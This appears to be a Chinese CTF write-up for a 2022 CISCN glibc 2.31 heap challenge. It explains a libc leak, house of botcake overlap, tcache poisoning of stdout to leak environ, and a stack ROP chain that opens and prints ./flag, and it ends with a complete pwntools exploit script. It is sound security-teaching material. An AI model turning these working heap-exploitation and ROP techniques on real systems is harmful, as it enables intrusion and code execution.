news 2026/5/30 9:22:24

2022 CISCN 华东北赛区 Blue NSSCTF PWN house of botcake

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
2022 CISCN 华东北赛区 Blue NSSCTF PWN house of botcake

House of botcake
难死我了!

IDA分析

main函数

有一次UAF的机会来泄露libc
也只有一次机会打印出libc

刚好分配到unsored bin来泄露

依旧全保护

根据程序写出自动化脚本

frompwnimport*libdir='/home/ubuntu/glibc-all-in-one/libs/2.31-0ubuntu9_amd64'ld=libdir+'/ld-2.31.so'# 动态链接器路径vn_path='./pwn'# 可执行文件路径(已用 xclibc 处理过的副本)# 使用目标 glibc 的 ld 启动程序(不要使用 LD_PRELOAD 整个 libc)p=process([ld,'--library-path',libdir,vn_path])#p = remote('node5.buuoj.cn',28244)elf=ELF(vn_path)libc=ELF(libdir+'/libc-2.31.so')defdebug():gdb.attach(p)pause()defadd(size,content):p.sendlineafter(b'Choice: ',b'1')p.sendlineafter(b'Please input size: ',str(size))p.sendlineafter(b'Please input content: ',content)defdelete(index):p.sendlineafter(b'Choice: ',b'2')p.sendlineafter(b'Please input idx: ',str(index))defshow(index):p.sendlineafter(b'Choice: ',b'3')p.sendlineafter(b'Please input idx: ',str(index))defbackdoor(index):p.sendlineafter(b'Choice: ',b'666')p.sendlineafter(b'Please input idx: ',str(index))

add一个看看写得对不对

add(0x20,b'a')


okok,第一步是泄露libc地址,依旧填满tcache[0x90],然后利用uaf然后show出来地址算出libc_base

foriinrange(9):add(0x80,b'aaaa')#0-8add(0x10,b'bbbb')#aviod be mergeforiinrange(7):delete(i)


接下来用backdoor然后接收地址

backdoor(8)show(8)leak=u64(p.recvuntil(b'\x7f',drop=False)[-6:].ljust(8,b'\x00'))log.info('leak:'+hex(leak))




这里会检查free_hook和malloc_hook是否被劫持

也禁用了execve
我们先进行tcache poisoning 这也是我们现在唯一能做的

#poisoningdelete(7)


可以看到两个0x90的chunk合并成了0x121
现在从tcache里面申请出一个chunk,准备double free chunk8

add(0x80,b'cccc')#0


然后去造成堆重叠

现在就是堆重叠了,我们可以能让 malloc() 返回到任意地址,现在覆盖hook不行,那么常规思路就是去搞environ,怎么去泄露environ呢,我们已经没有程序提供输出的东西了,这时候就是_IO_2_1_stdout_结构体。
需要一个“把任意写转换成任意读/信息泄露”的中间媒介。
glibc 里最合适的媒介之一,就是 stdio 的 FILE:

  • 程序必然会输出(菜单、Done、Error),意味着 stdout 的内部函数一定会被频繁调用(puts/printf/write/fflush 等)
  • stdout 对应的 IO_2_1_stdout 是 libc 里的一个全局对象(地址 = libc_base + 常量偏移),你已经通过 unsorted 得到了 libc_base,因此能定位 stdout 的精确地址
  • FILE 结构里有大量指针字段,控制“缓冲区在哪、指针走到哪、可读/可写范围是多少”
  • 如果你把这些指针改到你想泄露的地址(例如 &environ),libc 可能会把那块内存当作“要输出的缓冲区内容”吐给你

stdout 是一个 struct _IO_FILE_plus(FILE + vtable 指针)的大对象
_flags
第一个 8 字节一般是 _flags(低位包含状态位),正常 stdout 里这是一个“看起来像随机”的值,但它代表了:

  • 是否读/写
  • 是否 error/eof
  • 缓冲模式
  • 各种内部状态
    FILE 里有一组典型字段(命名随版本略有变化):
  • _IO_read_base
  • _IO_read_ptr
  • _IO_read_end
  • _IO_write_base
  • _IO_write_ptr
  • _IO_write_end
  • _IO_buf_base
  • _IO_buf_end
    这些字段决定了:
  • 读模式时,从哪里读、读到哪
  • 写模式时,哪些数据算“待输出”、输出上限是多少
  • 缓冲区到底在哪一段内存
    stdout 正常情况下,这些指针通常指向 libc 为 stdout 分配/管理的缓冲区(有的情况下是 NULL 表示未分配或无缓冲)。
    fileno / lock / vtable
    stdout 的 fileno 通常是 1;还有 _lock 指针、以及结尾的 vtable 指针指向 libc 内部的 _IO_file_jumps 等。

stdout 泄露的核心原理:控制“libc 输出时读的缓冲区范围

  1. 用 _flags = 0xfbad1800 把 FILE 强行切到一种“异常/读写混乱但可触发输出”的状态(这是很多题里验证过的“好用的 flags 组合”,不要求你完全记住每一位含义,但要知道它在 IO 代码路径里会让 libc 进入某种可泄露分支)。
  2. 把某些指针字段(常见是 read/write/buf 指针)设置为:
  • base = addr
  • ptr/end = addr+8(或相近)
  1. 当 libc 下一次对 stdout 做某种输出/刷新时,它会认为:
  • “缓冲区里有一段待处理的数据”
  • 而那段数据的地址范围正是你指定的 [addr, addr+8)
    于是 stdout 就会把那 8 字节原封不动地写到网络/终端输出中。你再用 recvuntil(b’\x7f’) 截到地址尾部,就拿到了内存泄露。

为什么选择泄 environ?——stdout 泄露需要一个“你已知地址”的目标
stdout 泄露的前提是:你要给它一个 addr,也就是“你想读哪里的 8 字节”。
但你想最终得到的是栈地址,而栈地址本身是 ASLR 随机的,你不知道它具体是多少,所以不能直接让 stdout 读“某个栈地址”。
因此需要一个“地址你知道,但里面存的是栈地址”的对象。environ 完全满足:

  • 你已经有 libc_base
  • &environ = libc_base + libc.sym[‘environ’] 是确定的
  • *(environ) 是栈地址(argv/envp 在栈上)
    所以让 stdout 泄露 *(environ) 非常自然:
    stdout leak 只能读“你能定位的地址”,而 &environ 恰好是你能定位且能导出栈地址的指针。
stout=libc_base+libc.sym["_IO_2_1_stdout_"]environ=libc_base+libc.sym["environ"]

tcache poisoning(能改 next)
当可以对“已 free 的 chunk8”写入其用户区前 8 字节(tcache next 指针位置),就能把它的 next 指到任意地址:

*(chunk8_user)=target

然后 malloc(sz) 就会返回 target
因为程序没有 edit / 不能直接对 free chunk 写,所以用 chunk overlap(2 覆盖 3) 这种方式,间接把“free chunk 的 next”改成 IO_stdout。

在 glibc 2.31 的 tcache 中:

  • chunk free 后,它的 用户区起始 8 字节被用作 tcache_entry->next(单链表指针)
  • 所以 “tcache poisoning” 需要你能做到:
//free(chunk3);*(uint64_t*)chunk3_user=target;//target=&_IO_2_1_stdout_

你这题没有 edit,所以你必须想办法让某一次 add 的 read 写到 chunk3_user[0:8]。

payload=p64(0)+p64(0x91)+p64(stout)add(0x70,b"aaaa")# idx=1add(0x70,payload)# idx=2 (payload里带 0x91 和 IO_stdout)


再从tcache里面申请一个chunk来覆写fd

add(0x80,b"bbbbb")# idx=3 (注释:2和3地址差0x10,所以2可覆盖3)

payload2=p64(0xfbad1800)#flagpayload2+=p64(0)#_IO_read_ptrpayload2+=p64(0)#_IO_read_endpayload2+=p64(0)#_IO_read_basepayload2+=p64(environ)#_IO_write_basepayload2+=p64(environ+8)#_IO_write_ptrpayload2+=p64(environ+8)#_IO_write_endadd(0x80,payload2)

stdout 的写缓冲区区间是 [write_base, write_ptr)
也就是 [environ, environ+8),长度正好 8 字节。
当 stdout 被刷新/溢出处理时,会把这 8 字节写到真实 fd=1 输出。

现在去接收这个地址

现在拿到的 stack(其实是 *(environ) 的值),我们接下来怎么办呢,打ORW,也就是执行层,我们现在的都是数据层,我们要执行

  • open(“./flag”, 0)
  • read(fd, buf, 0x40)
  • write(1, buf, 0x40) 或 puts(buf)
    也就是说:你要能控制 CPU 的 RIP 走你想走的 gadget/函数。否则你只是“能写内存”,并不会自动打印 flag。
    常见控制流入口有:
    A. Hook / 函数指针(__free_hook、vtable、回调指针)
  • 优点:不需要栈地址(有时)
  • 缺点:本题约束多、触发点不一定稳定;而且你选择 ORW 通常要一串 ROP,hook 触发往往只能做一次函数调用,后续还得二次控制流
    B. GOT 劫持
  • 受 RELRO 影响(Full RELRO 不行)
  • 且你还是需要让程序“恰好调用到被你劫持的函数”,不一定方便
    C. 覆盖返回地址(saved RIP)
  • 优点:几乎所有程序都必然返回,尤其 Add 函数每次执行完都会 ret 回主循环
  • 你可以把返回地址改成 pop rdi; ret 等 gadget,直接进入 ROP 链
  • 这是最标准、最通用的“从写内存到拿 shell/拿 flag”的转化点
    A已经被ban了,受 RELRO 影响,GOT也不行,那就只能选C

    Add(sub_138A)非常适合当入口:
  • 它每次都会从 main 调用,然后返回到主菜单循环
  • 可以通过 tcache poisoning 把一次 malloc 的返回地址指向 Add 的栈帧附近,让 read 把数据写进栈
  • 当 Add 执行到结尾 leave; ret 时,CPU 就会从你覆盖的返回地址跳走
    在 x86-64 上:
  • leave 等价于:
    • mov rsp, rbp
    • pop rbp
  • ret 等价于:
    • pop rip(从 [rsp] 取 8 字节作为下一条指令地址)
栈高地址[局部变量...][saved RBP]<--leave 会 pop 走[saved RIP]<--ret 会跳到这里(你要覆盖的就是它) 栈低地址
  • 控制 RIP → 跳到 pop rdi; ret
  • 在栈上按顺序放好参数 + 函数地址:
    • open
    • read
    • write/puts
      每执行一个 ret,RIP 都被更新为栈上的下一个 gadget/函数地址,寄存器被设置成你希望的值,最终完成文件读取并输出 flag。
      现在我们来测这个值跟我们泄露值的偏移
delta=0x7fffffffdfa0-0x7fffffffded8=0xC8

然后我们进行第二次tcache poisoning(把 malloc 目标打到栈上)
最终做到:

  1. 有一次 malloc 返回 attacker(这样你能写它的 tcache next)
  2. 在下一次 malloc 返回 target(栈上的 ret_slot)
delete(2)

但是我这里程序崩溃了,我感觉是我打的补丁的版本和题目还是有差异,现在直接用题目的
先把偏移改一改


破案不是补丁什么的而是

p.sendlineafter(b'Please input content: ',content)

多输入一个字符越界了
。。。
stack新偏移0x128
再继续tcache poisoning

delete(3)delete(2)payload3=p64(0)+p64(0x91)+p64(stack)add(0x70,payload3)#2add(0x80,b'dddd')#3

接下来直接打ORW就行

read_addr=libc_base+libc.sym['read']open_addr=libc_base+libc.sym['open']write_addr=libc_base+libc.sym['write']pop_rdi=libc_base+0x0000000000023b6apop_rsi=libc_base+0x000000000002601fpop_rdx=libc_base+0x0000000000142c92flag_addr=stack_addr set_addr=stack_addr+0x200p4=b'./flag\x00\x00'# open('./flag', 0)p4+=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(open_addr)# read(3, set_addr, 0x50)p4+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(set_addr)+p64(pop_rdx)+p64(0x50)+p64(read_addr)# puts(set_addr)puts_addr=libc_base+libc.sym['puts']p4+=p64(pop_rdi)+p64(set_addr)+p64(puts_addr)add(0x80,p4)


EXP:

frompwnimport*context.clear(arch='amd64',os='linux')context.binary='./pwn'binpath='./pwn'ld='./ld.so'libc_path='./libc.so.6'#p = process([ld, '--library-path', '.', binpath])p=remote('node4.anna.nssctf.cn',28207)elf=ELF(binpath)libc=ELF(libc_path)defdebug():gdb.attach(p)pause()defadd(size,content):p.sendlineafter(b'Choice: ',b'1')p.sendlineafter(b'Please input size: ',str(size))p.sendafter(b'Please input content: ',content)defdelete(index):p.sendlineafter(b'Choice: ',b'2')p.sendlineafter(b'Please input idx: ',str(index))defshow(index):p.sendlineafter(b'Choice: ',b'3')p.sendlineafter(b'Please input idx: ',str(index))defbackdoor(index):p.sendlineafter(b'Choice: ',b'666')p.sendlineafter(b'Please input idx: ',str(index))foriinrange(9):add(0x80,b'aaaa')#0-8add(0x10,b'bbbb')#aviod be mergeforiinrange(7):delete(i)#0-6backdoor(8)show(8)leak=u64(p.recvuntil(b'\x7f',drop=False)[-6:].ljust(8,b'\x00'))log.info('leak:'+hex(leak))offset=0x1ecbe0libc_base=leak-offset log.info('libc_base:'+hex(libc_base))#debug()#poisoningdelete(7)add(0x80,b'cccc')#0delete(8)stout=libc_base+libc.sym["_IO_2_1_stdout_"]environ=libc_base+libc.sym["environ"]payload=p64(0)+p64(0x91)+p64(stout)add(0x70,b"aaaa")# idx=1add(0x70,payload)# idx=2 (payload里带 0x91 和 IO_stdout)add(0x80,b"bbbbb")# idx=3 (注释:2和3地址差0x10,所以2可覆盖3)payload2=p64(0xfbad1800)#flagpayload2+=p64(0)#_IO_read_ptrpayload2+=p64(0)#_IO_read_endpayload2+=p64(0)#_IO_read_basepayload2+=p64(environ)#_IO_write_basepayload2+=p64(environ+8)#_IO_write_ptrpayload2+=p64(environ+8)#_IO_write_endadd(0x80,payload2)#4environ=u64(p.recvuntil(b'\x7f',drop=False)[-6:].ljust(8,b'\x00'))log.info('stack:'+hex(environ))#debug()offset2=0x128stack_addr=environ-offset2 delete(3)delete(2)payload3=p64(0)+p64(0x91)+p64(stack_addr)add(0x70,payload3)#2add(0x80,b'dddd')#3read_addr=libc_base+libc.sym['read']open_addr=libc_base+libc.sym['open']write_addr=libc_base+libc.sym['write']read_addr=libc_base+libc.sym['read']open_addr=libc_base+libc.sym['open']write_addr=libc_base+libc.sym['write']pop_rdi=libc_base+0x0000000000023b6apop_rsi=libc_base+0x000000000002601fpop_rdx=0x0000000000142c92+libc_base flag_addr=stack_addr set_addr=stack_addr+0x200p4=b'./flag\x00\x00'# open('./flag', 0)p4+=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(open_addr)# read(3, ppp, 0x50)p4+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(set_addr)+p64(pop_rdx)+p64(0x50)+p64(read_addr)# puts(set_addr )puts_addr=libc_base+libc.sym['puts']p4+=p64(pop_rdi)+p64(set_addr)+p64(puts_addr)add(0x80,p4)#debug()p.interactive()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/28 23:07:29

Java计算机毕设之基于JAVA的无人机销售平台的设计与实现商品管理、订单履约、售后跟踪(完整前后端代码+说明文档+LW,调试定制等)

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

作者头像 李华
网站建设 2026/5/28 19:46:24

DM HINT 注入和持久化绑定计划

一、 区别 1、 hint注入 Hint注入是通过系统函数为SQL语句动态添加优化器指令的技术。通过SQL注释语法&#xff08;/ ... /&#xff09;向优化器传递指令&#xff0c;干预其生成执行计划的决策过程&#xff08;如强制索引、连接顺序&#xff09;。通过系统函数 sf_inject_hin…

作者头像 李华
网站建设 2026/5/29 1:56:38

Product Hunt 每日热榜 | 2025-12-26

1. DiffSense 标语&#xff1a;本地AI Git提交生成器&#xff0c;专为Apple Silicon设计 介绍&#xff1a;DiffSense 在 Apple Silicon 上使用原生的 AFM 3B 模型 gratuitamente 生成 git 提交信息。它在本地运行&#xff0c;实现零延迟&#xff0c;确保你的代码保持私密。它…

作者头像 李华
网站建设 2026/5/28 20:02:39

ArrayList 和 LinkedList 的区别是什么?

在Java集合框架中&#xff0c;ArrayList和LinkedList都是List接口的实现类&#xff0c;但底层数据结构和操作效率存在显著差异&#xff1a;1. 底层数据结构ArrayList基于动态数组实现。初始容量为10&#xff0c;当元素超出容量时&#xff0c;自动扩容至原容量的1.5倍&#xff0…

作者头像 李华
网站建设 2026/5/28 23:38:24

八股篇(1):LocalThread、CAS和AQS

八股篇&#xff08;1&#xff09;&#xff1a;LocalThread、CAS和AQS ThreadLocal ThreadLocal 的作用 线程隔离&#xff1a;ThreadLocal 为每个线程提供了独立的变量副本&#xff0c;这意味着线程之间不会互相影响&#xff0c;可以安全地在多线程环境中使用这些变量。降低耦合…

作者头像 李华
网站建设 2026/5/29 1:23:40

【粉丝福利社】分布式系统性能优化:方法与实践

&#x1f48e;【行业认证权威头衔】 ✔ 华为云天团核心成员&#xff1a;特约编辑/云享专家/开发者专家/产品云测专家 ✔ 开发者社区全满贯&#xff1a;CSDN博客&商业化双料专家/阿里云签约作者/腾讯云内容共创官/掘金&亚马逊&51CTO顶级博主 ✔ 技术生态共建先锋&am…

作者头像 李华